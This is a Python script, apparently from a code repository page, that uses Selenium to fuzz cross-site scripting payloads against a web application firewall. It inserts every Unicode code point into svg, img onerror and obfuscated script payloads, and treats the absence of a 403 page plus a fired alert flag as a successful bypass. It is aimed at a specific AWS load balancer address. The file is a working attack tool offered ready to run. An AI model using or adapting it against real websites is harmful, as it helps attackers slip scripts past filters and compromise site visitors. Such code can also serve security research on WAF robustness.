|
||||||
def wait_for_pageload(self):
|
|
||||||
try:
|
|
||||||
WebDriverWait(self.driver, 4).until(
|
|
||||||
lambda driver: driver.execute_script("return document.readyState") == "complete")
|
|
||||||
except TimeoutError:
|
|
||||||
raise Exception("Page Load Error")
|
|
||||||
|
|
||||||
def get_page_title(self):
|
|
||||||
return self.driver.title
|
|
||||||
|
|
||||||
@property
|
|
||||||
def is_403(self):
|
|
||||||
return self.driver.title == "403 Forbidden"
|
|
||||||
|
|
||||||
@property
|
|
||||||
def triggered_xss(self):
|
|
||||||
return self.driver.execute_script("return window.alert_trigger")
|
|
||||||
|
|
||||||
def navigate(self, url):
|
|
||||||
self.driver.get(url)
|
|
||||||
self.wait_for_pageload()
|
|
||||||
|
|
||||||
bypass = False
|
|
||||||
|
|
||||||
if self.is_403:
|
|
||||||
bypass = False
|
|
||||||
else:
|
|
||||||
bypass = True
|
|
||||||
|
|
||||||
bypass = bypass and self.triggered_xss
|
|
||||||
|
|
||||||
return bypass
|
|
||||||
|
|
||||||
def run_fuzz(self):
|
|
||||||
payloads = [
|
|
||||||
"<svg{FUZZ}onload=alert(0)>",
|
|
||||||
"<svg\{FUZZ}onload=alert(0)>",
|
|
||||||
"\u202e<img src=0 alert=x ''!=//{FUZZ}onerror=alert(0)\na>",
|
|
||||||
"""<<!--scrip<scrip --><\nscrip t="<img\nonerror{FUZZ}="alert(0)//"/ src="x" script/>alert(0)<script=/>""",
|
|
||||||
]
|
|
||||||
try:
|
|
||||||
for i in range(0, 0x10FFFF):
|
|
||||||
for p in payloads:
|
|
||||||
encoded = urlencode(
|
|
||||||
{"param2": p.replace("{FUZZ}", chr(i))})
|
|
||||||
print("Trying payload: ", encoded, f"({hex(i)}/0xffff)")
|
|
||||||
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
|
|
||||||
bypassed = self.navigate(url)
|
|
||||||
if bypassed:
|
|
||||||
print("Bypassed with payload: ", encoded)
|
|
||||||
break
|
|
||||||
except KeyboardInterrupt:
|
|
||||||
self.driver.close()
|
|
||||||
exit(0)
|
|
||||||
|
|
||||||
|
|
||||||
w = WAFBypass("http://aws-wafbypass-lb-311079289.eu-south-1.elb.amazonaws.com")
|
|
||||||
w.run_fuzz()
|
|
Loading…
Reference in New Issue
Block a user